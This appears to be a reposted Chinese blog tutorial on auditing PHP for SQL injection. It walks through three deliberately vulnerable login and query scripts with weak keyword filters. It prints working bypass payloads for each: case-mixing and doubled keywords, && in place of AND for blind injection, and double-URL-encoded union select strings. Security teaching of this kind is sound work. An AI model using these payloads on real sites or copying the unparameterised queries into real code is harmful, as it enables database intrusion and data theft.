【网络安全】php代码审计-sql注入进阶篇
前言
經(jīng)過上一篇文章我們已經(jīng)大概的了解sql注入去怎樣審計了。但是在實際的網(wǎng)站中和用戶的輸入輸出接口不可能想那樣沒有防御措施的。現(xiàn)在各大網(wǎng)站都在使用waf對網(wǎng)站或者APP的業(yè)務流量進行惡意特征識別及防護,,避免網(wǎng)站服務器被惡意入侵。所以我們就需要繞過waf,這篇文章就用代碼審計的方式給大家講解一些sql的繞過技巧。
關(guān)鍵字過濾
部分waf會對關(guān)鍵字進行過濾,我們可以用大小寫或者雙寫關(guān)鍵字來繞過。
源代碼分析
【網(wǎng)絡安全學習資料·攻略】
<?php require 'db.php'; header('Content-type:text/html;charset=utf8'); $username=dl($_POST['username']); $password=dl($_POST['password']); $dl="SELECT * FROM xs WHERE username='$username' and password='$password'"; //登錄界面后臺處理 $ck=mysqli_query($db,$dl); $row = mysqli_fetch_array($ck); if($_POST['login']){ if($row) { echo"你的密碼".$row['username']; }else{ echo"登錄失敗"; } } function dl($gl){ $gl=str_replace(array("union","UNION"),"","$gl"); $gl=str_replace(array("select","SELECT"),"","$gl"); $gl=str_replace(array("database","DATABASE"),"","$gl"); $gl=str_replace(array("sleep","SLEEP"),"","$gl"); $gl=str_replace(array("if","IF"),"","$gl"); $gl=str_replace("--","","$gl"); $gl=str_replace("order","","$gl"); return $gl; }分析一下代碼,首先獲取了數(shù)據(jù),加載dl函數(shù)以后帶入了數(shù)據(jù)庫中執(zhí)行,然后if判定是否有提交,是否登錄成功,登錄成功后回顯用戶的賬號,這是一個非常簡單的后臺登錄代碼。往下看有一個自定義函數(shù)dl,函數(shù)內(nèi)使用了str_replace(),str_replace()的作用是替換字符串,這里union,select,database ,if這些常用的注入字符大小寫都被替換成空。做了一個簡單的危險字符過濾自定義函數(shù)。
關(guān)鍵字過濾注入方法
用大小寫和雙寫關(guān)鍵字來嘗試繞過,返回代碼里有回顯位所以可以union注入,dl函數(shù)把union,select這些字符替換成空但是mysql中是不不區(qū)分大小寫的,所以可以大小寫混寫來繞過dl函數(shù)的過濾。比如Select Union DAtabase()這樣的字符是可以執(zhí)行的。也可以用雙寫的手法,比如seselectlect這樣的語句, dl函數(shù)會把里面的select替換為空這樣兩邊的字符湊在一起剛好又是一個select這樣就起到了繞過的作用。
大小寫繞過語句為 -1’ unioN Select dataBASE(),2 #
雙寫關(guān)鍵字繞過語句為 -1’ ununionion selecselectt databasdatabasee(),2 #
都運行成功
or and xor not過濾
or and xor not 像這樣的邏輯運算也會被過濾袋掉那我們怎么繞過呢?
源代碼分析
<?php require 'db.php'; header('Content-type:text/html;charset=utf8'); $username=dl($_POST['username']); $password=dl($_POST['password']); $zifu='/(and|or|xor|not)/i'; if(preg_match("$zifu","$username&&$password")){ echo "<script>alert('存在危險字符')</script>"; } $dl="SELECT * FROM xs WHERE username='$username' and password='$password'"; //登錄界面后臺處理 $ck=mysqli_query($db,$dl); $row = mysqli_fetch_array($ck); if($_POST['login']){ if($row) { echo"登錄成功"; }else{ echo"登錄失敗"; } } function dl($gl){ $gl=str_replace(array("union","UNION"),"","$gl"); $gl=str_replace(array("select","SELECT"),"","$gl"); $gl=str_replace(array("database","DATABASE"),"","$gl"); $gl=str_replace(array("sleep","SLEEP"),"","$gl"); $gl=str_replace(array("if","IF"),"","$gl"); $gl=str_replace("--","","$gl"); $gl=str_replace("order","","$gl"); return $gl; } ?>閱讀一遍代碼發(fā)現(xiàn)在上一段的基礎上面添加了一個preg_match函數(shù),這個函數(shù)過濾了or and xor not關(guān)鍵字,需要注意的是preg_match會大小寫都過濾,繼續(xù)往下讀回顯位改成了成功或者失敗所以我們只能采用盲注或者延時注入。
邏輯運算符繞過
先嘗試大小寫繞過,果然是失敗的。
使用邏輯運算符嘗試
and = &&
or = ||
xor = | # 異或
not = !
使用&&代替and構(gòu)造盲注語句1’ && length(DATAbase())=3 # 因為關(guān)鍵字過濾函數(shù)還在所以還同時需要大小寫繞過。
注入成功
url編碼繞過
在平常使用url提交數(shù)據(jù)時,web容器在接到url后會自動進行一次url編碼解析,但是由于業(yè)務問題有些網(wǎng)站在web容器自動解析之后,通過編寫程序?qū)馕龅膮?shù)進行再次url編碼解析,就會出大問題。
源代碼分析
<?php require 'db.php'; header('Content-type:text/html;charset=utf8'); $id1=$_GET['id']; $gl="/and|or|not|xor|length|union|select|database|if|sleep|substr/i"; if(preg_match($gl,$id1)){ echo"<script>alert('存在危險字符')</script>"; }else{ $id=urldecode($id1); $dl="SELECT * FROM xs WHERE id='$id'"; $result=mysqli_query($db,$dl); $row = mysqli_fetch_assoc($result); if($_GET['id']) { if ($row) { echo "登錄成功:" . $row['username']; } }} ?>上來還是先看看代碼,把客戶端傳入的get參數(shù)賦值進了id1,用if加pregmatch對變量id1里的值進行檢索。如果客戶端傳入的參數(shù)有g(shù)l里的值那么就會返回前端代碼進行警告。沒有危險字符才會執(zhí)行下面的代碼,接著把id1里的參數(shù)進行一次url解編碼并賦值給$id。此時客戶端傳入的參數(shù)已經(jīng)經(jīng)過了兩次url編碼解析。最后過濾完成把id變量帶入數(shù)據(jù)庫中進行查詢并返回用戶的賬號。
注入語句
分析代碼時說到客戶端傳入的參數(shù)會進行兩次url編碼解析之后帶入數(shù)據(jù)庫,但危險過濾是在第一次解析之后第二次解析之前執(zhí)行的。也就是說我們可以寫入兩次url編碼過的語句繞過preg_match,比如and在過濾范圍之中,對and一次url全編碼后變?yōu)?61%6e%64%0,再進行一次編碼為%25%36%31%25%36%65%25%36%34
。把經(jīng)過兩次編碼后的and提交數(shù)據(jù)會經(jīng)過web容器解碼后變?yōu)?61%6e%64,preg_match判定就不會觸發(fā)。
構(gòu)造嘗試語句
把-1’ union select database(),2,3 --+編碼為-1’
%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 %25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35(),2,3 --+
成功繞過,代碼執(zhí)行帶出了當前數(shù)據(jù)庫。
最后
關(guān)注我持續(xù)更新技術(shù)文章,私我獲取2021最新【網(wǎng)絡安全學習資料·攻略】
總結(jié)
以上是生活随笔為你收集整理的【网络安全】php代码审计-sql注入进阶篇的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网络安全】Nacos Client Y
- 下一篇: 【Web安全】php://filter